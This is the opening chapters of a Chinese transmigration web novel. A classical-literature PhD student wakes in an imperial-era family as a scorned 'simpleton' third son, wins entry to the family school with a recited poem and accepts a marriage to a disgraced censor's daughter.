《苏家傻子的科举日常》
第一章 望族傻少爷
“不好了!不好了!傻子……三少爷出事了!掉井里了!”深宅大院之中,一名仆人小厮跑入位于偏房的院子,冲着一位美妇人焦急喊道。
“什么?!”美妇人本在缝补衣服,瞬间惊的针线深深刺入自己的手指之中!
但她来不及关心自己的伤口,立马激动的起身,向着水井处跑去。
不一会,只见一位十四五岁的少年正躺在水井旁,浑身湿透。
三少爷苏辛集已经被人从井里捞了上来,但已然没有了呼吸,脸色惨白,一副死翘翘的样子。
而旁边则站着苏家的其他两位少爷,两人一副看戏,似乎死的不是自己的堂兄弟一般!
“这……这是怎么回事?”美妇人瞬间吓得瘫倒在地上,难以置信的问着自己的两个侄子。
但苏家大少爷苏辛义却一脸淡然的说道:“不知道啊三婶,我和二弟正在水井旁边背书呢,谁知道这傻子……三弟突然跑过来,噗通一下就掉进去井里去了,我们拦都拦不住!”
“是啊三婶,三弟自小痴呆,你得严加看管啊,怎么能放他出来乱跑呢!这可真是吓死我们了!这以后要是我两科举考试时出现啥问题,可都是我这三弟给吓得,三婶你得补偿我们啊!”一旁二少爷苏辛尔也跟着嘴角翘起的回答。
“你们……你们……”美妇人闻言被气的急火攻心,没想到这两人竟如此无耻!她儿子苏辛集虽然确实天生愚笨了些,但绝不会蠢到无缘无故跳井自尽!这分明是被人害的!
一想到此,她便趴到儿子尸体上崩溃大哭道:“呜呜呜,我儿……”
“咳咳……”只见那尸体被美妇人趴着一压后,却是突然咳嗽几声,吐出几口水,醒了过来。
“这是哪啊?这都给我干哪来了?影视基地么?我还要写论文呢!”苏辛集迷茫的看着眼前陌生的一切,尤其那穿着古装的美妇人,一头雾水。
这时,他突然感到脑袋一疼,一股繁杂的信息汹涌而来。
原来他本是985名校古代文学专业的博士生,正为了毕业论文天天熬夜呢,结果给活活的熬猝死了。
可能是老天爷看他可怜,让他穿越到了这他从未听过的朝代——大昭朝,同名同姓的苏辛集身上。
这苏家可是山阴县的名门望族,苏家老爷子是举人出身,当过一任知县,如今致仕退休在家。老爷子共有三个儿子,长子苏文习文,考了二十年终于考上了秀才,现在正在为考举人而努力。
次子苏富经商,靠着家族势力做的有滋有味,拥有山阴县最大的药铺。
三子苏武习武,原本是苏家二代中最出息的,从军一路当上了正五品千户,前途原本不可限量。然而却在和辽族的一次作战时,为国牺牲。朝廷倒是还算大方,给了上千两银子的补偿。
只可惜,这苏武的儿子苏辛集从小痴呆,是个傻子。
因此,大房二房老是欺负三房,想以此吃绝户!吃掉三房本该继承的家产,顺便再吃掉三房的朝廷补偿银!
而自己这原身,便是被这大房二房的儿子所骗,他们哄骗原身井里有好吃的,让原身不断的往井里看,然后一把将其推入井中,导致原身身亡,实在是恶毒至极!
“集儿!你……你没事了?!”美妇人林沐芳见状激动不已,立马一把抱住儿子。
“是啊娘,儿子没事。儿子只是没想到大哥二哥居然如此歹毒,竟一把将儿子推入井内!”苏辛集直截了当的说道,立马指认两个混蛋兄长,仇不过夜!
大少爷苏辛义闻言瞬间瞪大了眼珠,没想到这傻子居然还能活过来,而且居然思路这么清晰,一下子便指认自己!
要知道往常他和二弟欺负这傻子,这傻子都分不清好坏,不敢说的啊!还以为自己再跟他闹着玩呢!
这次咋回事?落了次水还开窍了?!
不过,他立马反驳道:“胡说八道!三婶,你不要听这傻子乱讲!这傻子天生痴呆,根本分不清是非!上回他不就是非要拿着一个老鼠头说是鸭脖子,一天天的颠倒黑白!明明是他自己掉下去的,又在这胡言乱语!”
“没错三婶!我和大哥可是读书人!断然做不出此等泯灭人伦之事!”二少爷苏辛尔也立马说道。
然而,林沐芳可不会信这种屁话,她知道自己的儿子绝不会撒谎,因此愤怒的她立马抓着两个侄子的胳膊,怒骂道:“你们两个畜生!你们平日里欺负我们孤儿寡母还少吗?我们娘俩一直忍着不跟你们计较!但辛集可是你们的亲堂弟,你们为什么非要置他于死地!”
“走!跟我一起去见老爷子!让老爷子主持公道!”
“三婶,你不要无理取闹!”
“就是,是这傻子胡说八道,与我们无关啊!”两位少爷一听到老爷子瞬间脸色慌乱起来,说什么也不敢前往。
而就在这时,一位穿着员外服,留着两瞥小胡子的中年男人立马走了过来,神色严肃的问道:“吵什么呢!都是一家人,有话好好说嘛!”
“他二伯,你来的正好!这两个畜生谋害我家辛集,将其一把推入井里,险些害他性命!你可得主持公道!”林沐芳看着苏家二老爷苏富,立马说道。
然而,苏富自然是偏帮自己的儿子,立马回怼道:“话不能这么说,大家都是一家人,怎么可能干出残害手足的事情。我想应该是辛集脑子糊涂了乱说呢。你也知道他这个身体,脑子不清醒的,自己跳下井还以为别人推他呢!”
“而且老太爷年纪已高,最近身体还不怎么舒服,就不要打扰他了。我已经吩咐下去了,老太爷这几天都不见人了!”
显然,这二老爷出现根本不是什么巧合,而是特地出来为自己的两个儿子撑腰的!这大房二房就是不装了,明着欺负你!
谁让你们孤儿寡母,而且儿子还是个傻子,没人撑腰!
“你们……你们这样做事,怎么对得起我死去的丈夫!就不怕晚上他来找你们么!”
“好好好,老太爷不管,我就去报官!我绝对不会让任何人伤害我儿子!”林沐芳气的咬牙切齿道。
然而,二老爷苏富却道德绑架道:“弟妹!你这是何苦呢!他们两人已经过了县试!马上就要参加府试院试!成为新秀才!为我苏家光耀门楣!”
“你难道想断了我们苏家新一代的希望嘛?!你怎么能这么自私!”
“呵呵,就大哥二哥的榆木脑袋,若是我苏家新一代的希望放在这两人身上,那才是完蛋了!”这时,一旁的苏辛集冷笑一声,开口道。
“你……你什么意思?你这傻子胡说八道什么呢!”苏家二老爷苏富闻言眉头一皱,总感觉这个傻侄子好像变得有些不一样了,说话都不流口水了!
“难道不是么?大哥二哥从三岁开始便启蒙上私塾,上到如今大哥二十一了,二哥也二十了,读了十多年的书,考了十几次童生试,才在今年才考过了最基础的县试,还是最后几名,听说还是用了些手段的?”
“如此榆木脑袋,哪来的什么希望!”
“要我说,真想要有希望,想光耀门楣,那就让我上学堂读书!别的不敢说,给我几个月时间,今年连过三科,直中秀才,我有信心!运气好的话,明年乡试的举人,我也能金榜题名!”苏辛集淡淡的说道,言语之间却透着一股子胸有成竹!
毕竟,这大昭科举也是考八股文,而他苏辛集在高校这么多年,主打研究的还就是八股!
主打一个专业对口!而且他腹内藏着历朝历代前辈们的名作,运气好押中考题的话,那简直便是降维打击!
第二章 夫子的刁难!
“噗哈哈哈哈!你这傻子又发疯了!这次还疯的一本正经的,变着花样了,真是可笑!”
苏家二老爷苏富闻言顿时捧腹大笑起来。方才他看自己这傻侄子一本正经的,还以为他落水后突然开窍了呢,吓了他一跳!结果没想到是一本正经的胡说八道,还是一样的傻里傻气!
“傻子就是傻子,就凭你还想中秀才,甚至中举人?你知道啥是秀才啥是举人不?你小子怕是长这么大了,连自己的名字都不会写吧!”
“就是!癞蛤蟆想吃天鹅肉!也不撒泡尿照照自己,就你也配?!”一旁的苏辛义和苏辛尔也跟着嘲讽道,只当苏辛集是在说疯话。
苏辛集闻言冷笑一声,刚想出言嘲讽。但一旁的林沐芳却是激动的一把抱住了他道:“我儿如今说话思路清晰,定是开窍了!”
所有人都觉得苏辛集是傻子,但只有她这为娘的始终相信,自家儿子只是比同龄人成熟的晚了一点而已。
而所谓三年不鸣,一鸣惊人;三年不飞,一飞冲天!
自家儿子一定能有一番出息!
于是,林沐芳立马说道:“今日的事情,我可以不和你们计较!但我有个要求,从今天起,我儿也要进学堂读书!”
既然儿子说他能考上秀才,那当娘的便相信,便托举他去读书!
这学堂是苏家创办,一开始只招收苏家子弟,后面也慢慢的对外开放。里面有苏家重金聘请的夫子。
“弟妹,你疯了吧!让个傻子上学堂,这传出去不是让人笑掉大牙!”二老爷苏富闻言一愣,这还真是有什么样的傻子就有什么样的傻娘啊,儿子傻娘更傻,还真信傻子的话,要让他读书?!真是滑天下之大稽!
“你们不让我儿上学堂,我就抱着我夫君的牌位去县衙告状!看看是我儿上学堂让人笑掉大牙,还是你们苏家手足相残,欺负孤儿寡母,更让人笑掉大牙!”林沐芳脸色冰冷的说道。
她平日虽然知书达理,但一旦维护起自家儿子,那便什么事情都做得出来!
“……”
“好好好,我可以同意!但学堂那边收不收,最终还得夫子说了才算!夫子都得亲自考试过,才录用学生!你若是非要执意如此,就让辛集下午去学堂接受夫子的考试!考得上就让他上!考不上可别怪我们!”二老爷苏富嘴角微微翘起道。
毕竟,就苏辛集这傻子脑袋,绝对会被夫子嫌弃!也不知道这母子抽什么风!
“行!我儿一定考得上!”林沐芳一口答应。
“呵呵,蠢货!”
“下午可有好戏看咯!傻子上学堂,真是可笑事!”
“这傻子等下可别拉在学堂上,哈哈哈哈!”两位堂哥再度出言嘲讽,随后一行人得瑟的离开。
“娘,咱们就这么放过他们了?”苏辛集眉头微皱道。
“我儿真开窍了?”林沐芳看着儿子的样子,一脸欣喜的道。
要是往常,傻儿子根本不会有这种报仇的念头,就是被欺负了也只会傻乐,现在真的聪明多了!
“是啊娘,儿子这死里逃生一次,一下子感觉脑子清醒了,以前浑浑噩噩的,很多事情都不明白,让您操心了。”苏辛集趁机说道。
“谢天谢地,只要我儿平安,其他什么都不重要。我儿现在只需好好读书,咱们暂且记下此仇,来日再报!”林沐芳兴奋的抱着苏辛集说道。
“娘的意思是我们现在孤儿寡母的太过弱小,我又素有傻子之名,所以告到哪里去都没人会搭理我们?得暂时隐忍?”苏辛集一下子听出了母亲话语中的意思。
林沐芳听着这话更惊讶了,只感觉自家儿子真是聪明伶俐,点了点头道:“嗯嗯,你父亲死了,家里能为你做主的只有你祖父一人。但你祖父素喜科举功名,只有好好读书,才能得到他的宠爱。不然,他只会偏帮你那两位堂哥。”
“娘放心,儿子一定好好读书,考状元,点翰林,然后给您争个一品诰命夫人回来!”苏辛集一脸郑重的说道。
在这古代,阶级差距无比严重。官僚阶级想要弄死一个普通百姓真的和踩死一只蚂蚁没什么区别。比如自己要真就被推入井中淹死了,以苏家的势力也会摆平的风平浪静。即使林沐芳不断的上告也没有用。
所以必须得当官,才能在这古代中像个人一样的活着!才能让人心生敬畏,让人对一切暗算进行强有力的反击!以牙还牙,以血还血!让这些想吃绝户的畜生亲戚全部去死!
而在这大昭朝,想当官,科举可以说是为数不多的独木桥!
是真正的鲤鱼跃龙门!
自己必须好好把握!
“好,娘这就教你练字!”
“夫子的考试一般都不太难,只需会写自己的名字即可,集儿你仔细记住。”林沐芳也是大家闺秀出身,当即便要教儿子读书识字,用来应付下午的夫子考试。
紧接着,她便带着苏辛集回到房间,拿出纸笔,一笔一划的教苏辛集。
不过这一切苏辛集早都会了,为了让娘亲放心,他立马说道:“娘,儿子这十几年一直在学堂外听夫子讲课,其实已经开蒙了,只是儿子当时浑浑噩噩的不知道如何表达,眼下脑子清醒后,感觉之前学的东西都会了。娘,你看!”
话罢,苏辛集当即拿起笔,在纸上挥笔写下了自己的名字,不但字都写对了,还写了一手好书法!
“我儿果真是大智若愚,厚积薄发啊!这下为娘就放心了!”林沐芳闻言放下心来,只感觉这十几年的辛苦操劳没有白费,总算看到了曙光!
下午,苏家学堂。
此地就在苏家大宅的旁边,很是方便。
眼下,学堂内书声琅琅,苏辛集在林沐芳的陪伴下,准时到来。
苏富早已在此等候,他身边则站着一位留着山羊胡、面容清瘦的中年夫子,正是苏家学堂的负责人,周夫子。苏富正低声与周夫子说着什么,见林沐芳母子到来,立刻换上一副假笑。
“弟妹,辛集侄儿,来了啊。周夫子,这位便是想入学堂的我那侄儿苏辛集,您可得多多关照啊!”苏富笑着冲周夫子说道,眼中闪过一丝不易察觉的得意。他早已打点好周夫子,让周夫子加大难度,把这个傻子刷下去,免得让外人笑话他苏家!
“学生苏辛集,见过夫子。”苏辛集拱手行礼。
周夫子捋着胡须,上下打量了一番苏辛集。眼前的少年面容俊俏,彬彬有礼,是幅好模样,但傻子之名在外,他先入为主,便带了几分轻视。
“嗯。”周夫子淡淡应了一声,语气颇为疏离,“既想入学,须得经过考核。这是学堂的规矩,便是苏家子弟也不例外。”
“这是自然,请夫子考核。”林沐芳连忙行礼说道。
周夫子点点头,铺开一张纸,指着上面的字:“便先考校最基础的识字。此乃《三字经》开篇,你且读来听听。”
这本是极简单的开蒙考校,寻常孩童皆能应对。但对于傻子而言,却是无比困难。
毕竟,苏家人都知道,苏辛集连一二三四五六都分不清呢!
苏辛义和苏辛尔此刻也混在学堂门口,闻言更是窃笑,等着看苏辛集出丑。
不料苏辛集走上前,目光扫过纸张,却是朗声道:“人之初,性本善。性相近,习相远。苟不教,性乃迁。教之道,贵以专。”
声音清晰,字正腔圆,毫无滞涩。
周夫子微微一愣,眼中闪过一丝诧异。
“这傻子……竟真认得字?还读得如此流畅?”
苏富和苏家两大少爷闻言也是眼神瞪圆!有些难以置信!
不过,门口的苏辛义立马反应过来,叫道:“这肯定是三婶提前教他背的!光会读有什么用,有本事写出来啊!”
“就是!就是!别以为提前押中了题就可以得意!”苏辛尔也跟着不屑的嘲讽。
周夫子闻言,也觉得有理,便又铺开一张白纸,递过毛笔:“既如此,便将你方才所读,写下前两句。”
他料定苏辛集握笔都难,更别提写字了。
但苏辛集丝毫不带慌的,反而有些不屑的扫了一眼苏家人,随后从容接过笔,蘸墨,落笔,一气呵成!
只见他手腕转动,一行端正的楷书便跃然纸上——“人之初,性本善。性相近,习相远……”
字迹工整,结构匀称,笔力稳健,远超旁人!
“这……”周夫子这次是真的惊讶了,凑近仔细看了又看。这字,绝非一日之功可成!难道这苏三少爷,不是傻子,传闻有误?!
苏富和苏家两兄弟见状更是一脸难以置信,怎么也不明白这傻子怎么还学会写字了?!
难道真的是大难不死必有后福,这小子落水后反而开窍了?!
苏富心中暗叫不好,连忙干咳两声,给周夫子使了个眼色。
周夫子想起苏富的嘱托和那份厚礼,面上立马恢复严肃:“嗯,基础尚可。不过,你毕竟是十四五岁的少年了,不能再考如此基础之题,这样吧,老夫再加试一题。”
他顿了顿,看着苏辛集,故意提高声调,让所有人都能听见:“听闻你落井之后,竟扬言要中秀才举人。志气可嘉,但不知才学是否匹配。此刻春意正浓,你便以‘春’为题,即兴赋诗一首吧。若能作出,便可入学。”
此言一出,满堂皆惊!
第三章 天降美老婆!
即兴赋诗?
别说是对于一个从没上过学的傻子了,就是苏辛义苏辛尔这两个读了十几年书的老学子,作首诗都费劲呢!
这简直就是故意刁难!
林沐芳脸色一白,当即急道:“周夫子,这要求是否太过……”
“娘,无妨。”苏辛集轻轻拦住母亲,心中冷笑。看来这夫子是被二伯收买了,这是铁了心不让他入学。
也罢,本来他还想以普通人的身份入学,在学堂低调一点呢。
没想到换来的却是不断的打压和针对!
既然如此,他不装了,他是文抄公,他摊牌了!
想刁难我,那就看看你们的脸够不够被打吧!
于是,苏辛集看向周夫子,又瞥了一眼得意洋洋的苏富和两位堂兄,淡淡道:“即兴赋诗?可以。不过,若我作出了,又当如何?仅仅入学恐怕不够吧?方才二伯和两位兄长对我多有嘲讽,若我作出诗来,他们是否该为之前的无礼和污蔑,向我娘亲与我道歉?”
“呵!你这傻子还真敢想!你能作出诗来,我当场给你磕头都行!”苏辛义嗤笑道。
“没错!作得出来,我们认错!作不出来,就赶紧滚蛋,别再这丢人现眼!”苏辛尔也跟着叫嚣。
苏富皱了皱眉,觉得儿子们话说得太满,但转念一想,这傻子怎么可能作诗?便也默认了。
周夫子更是摸了把胡子道:“若你能作出合乎格律、言之有物的诗,莫说道歉,老夫亲自向你娘赔不是,并收你为入室弟子,悉心教导!若作不出,便乖乖回家,休再提入学之事!”
“好!一言为定!”苏辛集等的就是这句话。
下一秒,他负手踱步,故作沉思状。学堂内外,所有人的目光都集中在他身上,大家嘴角都已然翘起,随时准备哄堂大笑!看这傻子到底能憋出个什么屁来!
但只片刻后,苏辛集便停下脚步,抬头,一股与他年龄不符的沉稳气度油然而生。
紧接着,他摸了一把学堂的柳树,缓缓吟诵道:“这柳树不错,就以此为诗吧。”
“碧玉妆成一树高,万条垂下绿丝绦。”
前两句一出,周夫子原本漫不经心的神色猛地一凝,腰板不由自主地挺直了。这起势……不凡!以美人喻树,一下子给予柳树鲜活的生命力!
苏辛集声音渐昂,继续吟道:“不知细叶谁裁出,二月春风似剪刀!”
诗毕,满堂死寂!
落针可闻!
所有人都倒吸一口凉气!
只听此诗平仄工整,比喻精妙,层层深入,春意盎然!
水平之高,怕是比学堂的两层楼还要高!
这……这怎么可能是一个傻子作出来的诗?!
苏辛义和苏辛尔直接傻眼了,他们原本都想好了一堆词语嘲讽苏辛集,说他不懂格律,全是放屁,言之无物,连打油诗都不如!
结果没想到,这诗一出,硬是把他所有的话语都堵死在了喉咙口,怎么都说不出来!
他又想说这诗是抄袭的!但任由他搜肠刮肚,都想不出这诗是抄的谁的!
周夫子更是整个人都僵住了,眼睛瞪得如同铜铃,嘴唇反复咀嚼着最后两句:“不知细叶谁裁出,二月春风似剪刀!……好!好诗!绝妙啊!”
下一秒,他猛地冲上前,一把抓住苏辛集的胳膊,激动得胡子都在颤抖:“此诗真是你所作?!你……你从何处学来?!”
苏辛集面不改色,坦然道:“我从小愚钝,爱看天下万物,有感而发罢了。”
周夫子闻言,点了点头道:“世人都言苏三少爷你愚钝,但这分明是大智若愚!唯有如此赤诚之心,才能接近自然,才能写出如此浑然天成之诗!苏三少爷,请受老夫一拜!方才多有得罪!还望见谅!”
说着,周夫子竟真的向苏辛集躬身一礼,随后又对林沐芳郑重行礼:“苏三夫人,老夫迂腐,险些误了贤侄前程,在此赔罪!从今日起,苏辛集便是老夫的入室弟子!老夫一定竭尽所能,帮助苏三少爷在科举上有所成就!”
这一幕,彻底惊呆了所有人。
苏富脸色铁青,如同吃了苍蝇一般难受。他万万没想到,这傻子非但没出丑,反而一鸣惊人!连周夫子都被折服了!
苏辛义和苏辛尔更是目瞪口呆,脸涨得通红,方才叫嚣得有多凶,现在脸就被打得有多疼!
尤其是他们方才口中磕头认错的话语,更是让他们恨不得脚底抹油!反正磕头是绝不会磕头!
林沐芳看着儿子,激动得用手帕捂住嘴,眼泪止不住地流下。这泪水是欣慰,是骄傲,更是苦尽甘来的释放!
苏辛集目光冷冷地扫过面如死灰的苏富和两位堂兄,最后落在周夫子身上,拱手还礼:“夫子言重了。日后,还请夫子多多教诲。”
“好好好!”周夫子激动无比,心中已然决定,回去就把礼物还给苏富!
与那些俗物相比,有个好徒儿才是要紧事!
“啪啪啪!”就在这时,一旁的苏富竟突然鼓起掌来!
众人疑惑的看去,而他却笑着说道:
“没想到我辛集侄儿如此聪慧,真是好事!”
“而我这还有一件好事,真是双喜临门啊!”
“弟妹,族里已经决定了,将谢嫣儿许配给你家儿子!那可是个大美人啊,号称我山阴县第一美女,你儿子真是享福了!”
“啊……那谢嫣儿可是罪臣之女,谁娶了她,都会被连累仕途啊。”林沐芳闻言瞬间脸色大变。
“呵呵,我辛集侄儿连个童生都不是,哪来的仕途啊!就这么决定了,这也是老爷子的意思,无需多言!”苏富一计不成,再生一计道。
这谢嫣儿原本也是山阴县大户人家之女,其父亲谢允乃是正七品御史,然而因为弹劾当朝首辅被罢官流放,其女谢嫣儿原本也要跟着流放。
幸好谢家人缘不错,苏家等山阴县望族联名上书,请求朝廷放这孤女一马。
结果圣上索性大手一挥,将其许配给了苏家!
如此罪女一旦嫁过来,那简直就是嫁了个扫把星,谁粘上谁就是得罪了当朝首辅,以后定然仕途处处受阻!
所以,大房二房避之不及,一直在想办法推脱。
原本,大家也没想过把谢嫣儿推给三房。
毕竟,按照他们的计划,三房应该落水身亡才对。
但既然三房还活着,那便让他接了这个扫把星!省的这小子真开窍了!
而有个罪女当他老婆,即使这小子真开窍了,也会被压得死死的,翻不了身!
这苏家,还得是他们大房二房说了算!
第四章 科举有六试!
“你们……你们欺人太甚!我要找老爷子讨个说法!”林沐芳闻言气的连连跺脚。
自家儿子好不容易开窍变聪明了,有了出息的希望!却又被这大房二房如此针对,这还让不让人活了!
“弟妹,这话说的就不对了。圣上亲自下旨将谢嫣儿许配给我们苏家,这是天恩!怎么能说是欺负人呢!再说了,那谢嫣儿可是我山阴县第一美女,想娶她的人能从城东排到城西呢,哪里配不上你家集儿了!”
“也罢,你要找老爷子就去找吧,反正这本来也是老爷子的意思。”苏富嘴角翘起,得意的道。
老爷子其实压根没说过把谢嫣儿许配给谁,但老爷子最喜功名,苏辛义和苏辛尔都过了县试,是老爷子眼下的心头宝。
而苏辛集一个傻子,没有丝毫用处。老爷子肯定知道帮谁!
这林沐芳再怎么闹,也改变不了结局!
“你……!”林沐芳气的当即就要找老爷子。
“娘,不必动怒。”这时,苏辛集却轻轻拉住了母亲的手,面色平静地看向苏富,道:“二伯,此言当真?这婚事真是祖父的意思?”
“当然是真!大婚的各种流程都已经备好,三天后就是你洞房花烛的日子!谢家已经被抄家了,谢嫣儿没处去,因此要快些嫁过来!”苏富见苏辛集似乎没有激烈反对,心中窃喜,只觉得这傻子果然还是不懂其中利害,中了自己的道!
苏辛集心中冷笑。他熟知历史,自然知道娶了这谢嫣儿,会得罪权臣首辅。
但这当朝首辅严阁老还真不是什么好东西!
当今陛下酷爱修道,这首辅便不断的迎合陛下,在各地大搞祥瑞和各种面子工程,甚至在各种名山上修道观,强征徭役,搞得民怨沸腾。
谢御史也是实在看不下去才上书弹劾的他,虽然最终被发配,但着实是一介爱国忠良之士。
如此忠良之后,要是嫁给苏辛义苏辛尔两个废物还真是鲜花插在牛粪上,不如自己接了!
更何况,山阴第一美女,确实也听着让人心痒痒的!
再说了,天下没有不倒的权臣!眼下严阁老确实是风头正劲,但要是日后他倒了。自己娶了谢嫣儿,反而倒是好事了,能得到清流一派的青睐!
“既然是祖父之命,圣上之意,那这桩婚事……我接了!只是大婚之上,我可要好好问问爷爷,这到底是不是他的主意!”苏辛集冷笑一声道,他才不信这是祖父的意思,定然要让祖父一点点看清这大房二房的嘴脸!
“集儿!你……”林沐芳闻言大惊失色。
“哈哈哈!好!侄儿果然深明大义!那我这就去回复老爷子!等着喝你的喜酒了!”苏富喜出望外,生怕他反悔,立刻转身就走,脸上是抑制不住的得意笑容。只要这傻子答应了这桩婚事,就算他告密老爷子也没什么。
大不了他被老爷子骂一顿罢了,只要能让这苏辛集彻底断了希望便是好事情!
苏辛义和苏辛尔也交换了一个眼神,满是嘲讽和幸灾乐祸。
“傻子就是傻子,还以为捡了多大便宜呢!”
“嘿嘿,以后就有热闹看咯!”
“傻子配罪女,真是绝配呢!”
“这扫把星终于有着落了,省的落得我头上!”
话罢,三人便得意的离开。
周夫子在一旁欲言又止,最终化作一声叹息,拍了拍苏辛集的肩膀:“辛集啊,你……唉,日后在学业上若有任何难处,尽管来找为师。”他心中惋惜,觉得一颗好苗子恐怕要被这桩婚事耽误了。
但苏辛集却对周夫子和母亲行礼道:“夫子,娘,你们放心。有道是福兮祸之所倚,祸兮福之所伏。此事未必是坏事。况且,大丈夫立世,若只因惧怕权贵便退缩,岂不枉读圣贤书?谢家小姐无辜受难,也是可怜人。我苏辛集既接下这婚约,便会担起责任。”
“再说了,首辅大人权势再大,也只能让孩儿仕途受阻,不能阻止孩儿考科举吧!孩儿现在连个童生都不是呢,谈什么仕途!孩儿目前只想脚踏实地,一步步的考科举!不想其他!”
“好好好,辛集你志气可嘉,来,为师教你科举之道!”周夫子闻言眼前一亮,只觉得自己收的这学生果然不凡,当即把他带到书房,开始一对一的讲课,而且跳过了那些基础的《三字经》《千字文》,重点讲科举需要的考试内容!
大昭科举共分六场,分别是童子试的县试和府试,通过之后可以称之为童生。
秀才试的院试,通过之后便是秀才相公,一只脚踏入士绅阶层,可享见官不跪,免除自身徭役等特权!优秀的秀才,如廪生还能得到朝廷发的钱粮。
举人试的乡试,通过之后便是举人老爷,彻底晋升士绅阶层,若不想继续考试,可以参加吏部的选拔,担任八九品的官员,比如县丞,教谕之类的。
可别小看这八九品官员,像县丞也是一个县的二把手,相当于副县长!教谕则相当于教育局局长!而且后续还可以慢慢升官!
苏辛集的爷爷苏谅便是举人,最后做到了正七品知县的位置!
即使是不想做官的,考上举人后也在地方上也可以迅速的成为士绅豪门,富甲一方!因为举人享有大量的免税和免徭役特权,不光可以免自己,还可以免家人和仆人!只要你考上了,立马有大把的农民来投奔你!将田产挂在你的名下给你白白交租,只求你帮助他们免除赋税徭役。
因此,自古只有穷秀才,没有穷举人!
像《范进中举》里的范进便是如此,一考上举人就有人送房送田,迅速致富!
而这,还不是科举的尽头!
在上面还有进士试的会试和殿试!通过后便可以成为进士,真正实现“朝为田舍郎,暮登天子堂”的咸鱼翻身!
进士分三甲,即使是最差的第三甲进士,也可以直接担任正七品县令,立马成为一个县的父母官!
而二甲和一甲进士更是有机会点翰林,入选翰林院,成为庶吉士,入选朝廷的中央重点培养干部!被誉为“储相”!后续晋升极快!
一般只要不犯错误,后续熬资历,慢慢升到三四品不成问题!更有佼佼者可以进入内阁,担任首辅,执掌天下!
有道是“非进士不入翰林,非翰林不入内阁”!
这科举,还真能让老百姓一步登天,执掌中枢!
并且这大昭,还真就出了好几位布衣宰相!
第五章 近水楼台
就这样,苏辛集正式入学,开始了解县学所需要考的科目并且开始准备起来。苏老爷子听说苏辛集被周夫子选为入室弟子,又识大体的答应了婚事,心中多有不忍,强撑着这口气,把苏辛集唤到书房。
内院书房。
老爷子苏谅看着三房唯一的血脉,语重心长的道:“集儿,你爹,你爹不在,你娘这些年带你不容易。眨眼的功夫,你都到了成家立业的年纪,这成家后,你就不能再像以前那般……”
苏谅终究是没说下去。
以前那般痴傻?
苏辛集知道,这位老爷子当年是最喜欢老三的,只可惜英雄命短,如今二房得势,老爷子即便是有心,很多事情上也无力帮扶三房的孤儿寡母。
要不是老爷子维护,父亲苏武的抚恤金都保不住,爷爷默许他娶了罪臣之女,本身也是一种取舍。苏辛集不怪爷爷,他知道,想要在苏家有话语权,那就得拿到功名!
“爷爷,我会努力的。”
苏辛集其实对苏家没多少感情,如果苏武活着,他好歹是个官二代,结果开局就没爹,废柴就算了,还要跟罪臣之女绑定一生,还没考取功名,便得罪了当朝首辅严阁老。
开局就是地狱难度!
苏辛集摇了摇头,他看得出老爷子身体一日不如一日,说句话都得喘半天,即便是知道二伯耍心机,爷爷也无力多管。
面对爷爷的嘱咐,苏辛集点头答应下来。
林沐芳远远看到儿子黑着脸,连忙道:“这么快就回来了。”
看到母亲关切的眼神,苏辛集的心情好了不少。
“爷爷身体不适,没说几句。”
“那他具体说什么了?”林沐芳终究还是对老爷子有些期待。
“还能说什么,就让我好好跟谢家姑娘好好过日子。圣上赐婚,身为苏家子孙,总要有人冲上去的,对于老爷子来说,谁都是孙子。”苏辛集知道母亲的意思,便笑着跟母亲道:“还是那句话,谢家小姐无辜受难,也是可怜人。我苏辛集既接下这婚约,便会承担此中因果。”
两世为人,苏辛集看得通透,即便当初不是爷爷的主意,现在事情到了这一步,爷爷也不可能出尔反尔。
“糊涂,即便你爷爷不能改变结果,也可以趁机提分家啊。大房、二房一直虎视眈眈,盯着你爹那点卖命钱,他们既然把谢家丫头推过来,也没把咱们当家人,这会儿分家出去,日后也就安生了。”
自打儿子落水,林沐芳就怕了,她就这么一个儿子,万一有个三长两短,往后的日子可怎么过。二房那里混小子,他们惹不起,还躲不起么?
“分家?”
苏辛集平静的道:“娘,只要我是傻子,无论是谁都能欺负咱们孤儿寡母,分家后难道就没人欺负了么?在这深宅大院,他们就算是恶,也是在明处的。至少出去,外人还当咱们是苏家人。等我考取功名,他们就知道,谁才是苏家的天了!”
林沐芳诧异的看了儿子一眼,她没想到儿子还有这般城府。
“可我实在是后怕,要是你那些堂兄们再对你出手,我都不知道该怎么办了。”
苏辛集眼中闪过一道寒芒:“娘,你放心吧,不会有下一次了!谢家的状况,对别人来说可能是催命符,但对我来说,恰恰是个护身符。苏家还等着大婚过后,收揽名声呢,那些暗中支持谢家的,还有不少达官显贵,苏富要是稍微有点脑子,就知道该怎么做。”
林沐芳难以置信的看着儿子,这一刻,她有些恍惚。
这番分析,这般见识,绝非一般人能有的。
林沐芳一个妇道人家,不懂这里面的弯弯绕,但此刻不明觉厉。
“既然你这么有主意,娘都听你的。”
苏辛集前世虽然没有多大的朋友圈,也没有几个亲人从政,但他熟读离世,这些世家权臣的尔虞我诈,他还是知道一些的。既然碰上了,自然没有缩脖子的道理。
“娘,多少人都看着呢,圣上赐婚,即便你心中有想法,也不要摆在脸上。”苏辛集担心母亲心中有怨,刁难谢嫣儿,又不好明说,便这般道。
“唉。”
林沐芳确实是心里不舒服,感觉受到了侮辱。儿子怎么说也是名门之后,怎么能跟罪臣之女在一起?
一旦结婚,那不就意味着仕途之路堵死了,家里的药铺二房把持着,自家儿子还能有什么出路!
苏辛集看的通透,两世为人,这样的开局反而更加激励他,让他对未来充满期待。
这样的生活,才丰富多彩!
苏辛集眼中闪烁着锐利的光芒。你们不是都觉得我傻么,可你们不知道,我已经不是从前的苏辛集了。
我要让你们看看,答应这桩婚事,到底是不是愚蠢的行为!
废物崛起的那天,你们就知道自己错的多离谱了。
就算是没有父亲,他也要一步步爬起来,爬到苏家人都望尘莫及的位置!
“要先跟谢嫣儿搞好关系,既然二伯都知道借势借力的道理,我岂能错过近水楼台的机会?”
谢允乃是正七品御史,他出言弹劾,未必是他一个人的意思,很有可能牵扯党争!
苏辛集虽然不了解朝堂之事,但也清楚这矛盾绝非表面那般简单,如今既然只能选择跟谢嫣儿绑定,那就要先给自己定个小目标。
“集儿,你要不先去休息会儿,忙活了这么长时间,你都没怎么休息。”
林沐芳想到儿子刚落水没多久,身体还虚,难免有些紧张,她也清楚,儿子承受了很多,只是今日苏辛集的话,完全颠覆了她的认知。
她猛然想起当年苏辛集出生,天降祥瑞,丈夫苏武就说,此子绝非平庸之辈!
“娘,我想习武。”
面对儿子坚定的眼神,林沐芳有种想哭的感觉。
要是孩子他爹听到这话,九泉之下也该瞑目了。
